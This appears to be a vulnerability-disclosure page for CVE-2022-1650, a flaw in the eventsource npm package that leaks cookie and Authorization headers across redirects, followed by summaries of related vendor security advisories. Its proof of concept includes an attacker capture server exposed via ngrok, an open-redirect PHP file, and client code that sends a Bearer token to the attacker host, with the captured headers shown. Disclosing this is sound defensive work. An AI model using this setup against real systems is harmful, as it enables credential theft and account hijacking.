CVE-2022-1650: Exposure of Sensitive Information to an Unauthorized Actor in eventsource

Red Hat Security Advisory 2023-3642-01

#vulnerability #web #nodejs #js #git #php #auth

Exposure of Sensitive Information to an Unauthorized Actor in EventSource/eventsource

Reported on Feb 6th 2022 | Timothee Desurmont

Vulnerability type: CWE-200

Bug

Cookies & Authorisation headers are leaked to external sites.

Description

When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be "sanitized".

Proof of Concept

Start a nodejs server (attacker):

const express = require('express')
const app = express()

app.get('/', function (req, res) {
    console.log(req.headers);
    res.status(200).send()
})

app.listen(3000)

console.log('listening on port 3000');

lunch ngrok (attacker):

ngrok http 3000 Session Status online
Account Timothee Desurmont (Plan: Free)
Update update available (version 2.3.40, Ctrl-U to update)
Version 2.3.35
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding http://cb45-92-98-215-185.ngrok.io -> http://localhost:3000
Forwarding https://cb45-92-98-215-185.ngrok.io -> http://localhost:3000

Connections ttl opn rt1 rt5 p50 p90
1 0 0.00 0.00 8.92 8.92

HTTP Requests

GET / 200 OK

Add a redirect.php file in \var\www\html (mysite)

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

Run below code (mysite)

const EventSource = require("eventsource")

const mysite = "http://192.168.2.31";
const attacker = "http://cb45-92-98-215-185.ngrok.io";

const options = {
    method: 'GET',
    headers: {
        'Content-Type': 'application/json'
        ,'Cookie': 'ajs_anonymous_id=1234567890"',
        "Authorization": "Bearer eyJhb12345abcdef"
    }
};

var es = new EventSource(`${mysite}//redirect.php?url=${attacker}/`, options);

es.onerror = function (err) {
    if (err) {
    if (err.status === 401 || err.status === 403) {
        console.log('not authorized');
    }
    }
};

Responce recived by the attacker

[nodemon] starting node server.js listening on port 3000 { host: 'cb45-92-98-215-185.ngrok.io’, accept: 'text/event-stream’, authorization: 'Bearer eyJhb12345abcdef’, 'cache-control’: 'no-cache’, 'content-type’: 'application/json’, cookie: 'ajs_anonymous_id=1234567890"’, 'x-forwarded-for’: '92.98.215.185’, 'x-forwarded-proto’: 'http’, 'accept-encoding’: ‘gzip’ }

Consequence

Access Control: Hijack of victims account.

The attacker can steal the user’s credentials and then use these credentials to access the legitimate web site.

Suggested fix

If the redirected url is different from the url domain, the Authentication & Cookies should be removed from the header.

Occurrences

Related news

Red Hat Security Advisory 2023-3642-01 - Red Hat Ceph Storage is a scalable, open, software-defined storage platform that combines the most stable version of the Ceph storage system with a Ceph management platform, deployment utilities, and support services. This new container image is based on Red Hat Ceph Storage 6.1 and Red Hat Enterprise Linux 9. Issues addressed include bypass, cross site scripting, denial of service, information leakage, spoofing, and traversal vulnerabilities.

1 year ago

RHSA-2023:3642: Red Hat Security Advisory: Red Hat Ceph Storage 6.1 Container security and bug fix update

#xss #vulnerability #linux #red_hat #dos #js #oauth #auth #ssl

A new container image for Red Hat Ceph Storage 6.1 is now available in the Red Hat Ecosystem Catalog. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-42581: A flaw was found in the Ramda NPM package that involves prototype poisoning. This flaw allows attackers to supply a crafted object, affecting the integrity or availability of the application. * CVE-2022-1650: A flaw was found in the EventSource NPM Package. The description from the source states the following messa...

1 year ago

Ubuntu Security Notice USN-6082-1

#xss #vulnerability #web #linux #red_hat #dos #nodejs #js #git #kubernetes #php #perl #aws #buffer_overflow #oauth #auth #ibm #ssl

Ubuntu Security Notice 6082-1 - It was discovered that EventSource incorrectly handled certain inputs. If a user or an automated system were tricked into opening a specially crafted input file, a remote attacker could possibly use this issue to obtain sensitive information.

1 year ago

#vulnerability #ubuntu #nodejs #js

Red Hat Security Advisory 2022-7055-01

Red Hat Security Advisory 2022-7055-01 - An update is now available for Red Hat Openshift distributed tracing 2.6.0. Issues addressed include denial of service and traversal vulnerabilities.

2 years ago

RHSA-2022:7055: Red Hat Security Advisory: RHOSDT 2.6.0 operator/operand containers Security Update

#vulnerability #red_hat #dos #nodejs #js #git #auth

An update is now available for Red Hat Openshift distributed tracing 2.6.0 Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-3918: nodejs-json-schema: Prototype pollution vulnerability * CVE-2022-0536: follow-redirects: Exposure of Sensitive Information via Authorization Header leak * CVE-2022-1650: eventsource: Exposure of Sensitive Information * CVE-2022-24785: Moment.js: Path traversal in moment.locale * CVE-2022-31129: moment: inefficient parsing algorithm resulting ...

2 years ago

Red Hat Security Advisory 2022-6813-01

#vulnerability #web #linux #red_hat #nodejs #js #java #kubernetes #aws #auth #ibm

Red Hat Security Advisory 2022-6813-01 - Red Hat Process Automation Manager is an open source business process management suite that combines process management and decision service management and enables business and IT users to create, manage, validate, and deploy process applications and decision services. This asynchronous security patch is an update to Red Hat Process Automation Manager 7. Issues addressed include XML injection, bypass, denial of service, and traversal vulnerabilities.

2 years ago

RHSA-2022:6813: Red Hat Security Advisory: Red Hat Process Automation Manager 7.13.1 security update

#sql #vulnerability #red_hat #dos #apache #js #git #java #c++#auth #postgres

An update is now available for Red Hat Process Automation Manager. Red Hat Product Security has rated this update as having a security impact of Low. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2020-7746: chart.js: prototype pollution * CVE-2020-36518: jackson-databind: denial of service via a large depth of nested objects * CVE-2021-23436: immer: type confusion vulnerability can lead to a bypass of CVE-2020-28477 * CVE-2021-44906: minimist: prototype pollution * CVE-2022-0235: node-fetch: exposure of sensitive information to an unauthorized actor * CVE-202...

2 years ago

Red Hat Security Advisory 2022-6429-01

#sql #vulnerability #red_hat #dos #apache #js #git #java #auth #postgres

Red Hat Security Advisory 2022-6429-01 - The Migration Toolkit for Containers enables you to migrate Kubernetes resources, persistent volume data, and internal container images between OpenShift Container Platform clusters, using the MTC web console or the Kubernetes API. Issues addressed include bypass, code execution, and denial of service vulnerabilities.

2 years ago

RHSA-2022:6429: Red Hat Security Advisory: Migration Toolkit for Containers (MTC) 1.7.4 security and bug fix update

#vulnerability #web #red_hat #dos #nodejs #js #kubernetes #pdf #auth

The Migration Toolkit for Containers (MTC) 1.7.4 is now available. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2020-28500: nodejs-lodash: ReDoS via the toNumber, trim and trimEnd functions * CVE-2021-23337: nodejs-lodash: command injection via template * CVE-2022-0512: nodejs-url-parse: authorization bypass through user-controlled key * CVE-2022-0639: npm-url-parse: Authorization Bypass Through User-Controlled Key * CVE-2022-0686: npm-url-parse: Authorization bypass thr...

2 years ago

RHSA-2022:6156: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.11.0 security, enhancement, & bugfix update

#vulnerability #web #linux #red_hat #nodejs #js #java #kubernetes #aws #auth

Updated images that include numerous enhancements, security, and bug fixes are now available for Red Hat OpenShift Data Foundation 4.11.0 on Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-23440: nodejs-set-value: type confusion allows bypass of CVE-2019-10747 * CVE-2021-23566: nanoid: Information disclosure via valueOf() function * CVE-2022-0235: node-fetch: exposure of sensitive information to an unauthorized actor * CVE-2022-0536: follow-...

2 years ago

Red Hat Security Advisory 2022-5006-01

#vulnerability #web #linux #red_hat #dos #nodejs #js #java #kubernetes #aws #auth #ssh #ibm

Red Hat Security Advisory 2022-5006-01 - Red Hat OpenShift Service Mesh is Red Hat's distribution of the Istio service mesh project, tailored for installation into an on-premise OpenShift Container Platform installation. This advisory covers the RPM packages for the release. Issues addressed include a traversal vulnerability.

2 years ago

Red Hat Security Advisory 2022-5030-01

#xss #vulnerability #red_hat #js #php #rpm #jira

Red Hat Security Advisory 2022-5030-01 - This release of Red Hat Fuse 7.10.2.P1 serves as a replacement for Red Hat Fuse 7.10 and includes bug fixes and enhancements, which are documented in the Release Notes document linked in the References.

2 years ago

RHSA-2022:5030: Red Hat Security Advisory: Red Hat Fuse Online 7.10.2.P1 security update

#vulnerability #google #red_hat #php #oauth #auth

A patch update (from 7.10.1 to 7.10.2.P1) is now available for Red Hat Fuse Online. The purpose of this text-only errata is to inform you about the security issues fixed in this release. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-22573: google-oauth-client: Token signature not verified * CVE-2022-1650: eventsource: Exposure of Sensitive Information

2 years ago

RHSA-2022:5006: Red Hat Security Advisory: Red Hat OpenShift Service Mesh 2.1.3 Containers security update

#vulnerability #web #google #linux #red_hat #nodejs #js #java #kubernetes #aws #oauth #auth

Red Hat OpenShift Service Mesh 2.1.3. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2022-1650: eventsource: Exposure of Sensitive Information * CVE-2022-23806: golang: crypto/elliptic IsOnCurve returns true for invalid field elements * CVE-2022-24675: golang: encoding/pem: fix stack overflow in Decode * CVE-2022-24785: Moment.js: Path traversal in moment.locale * CVE-2022-28327: golang: crypto/elliptic: panic caused by oversized scalar

2 years ago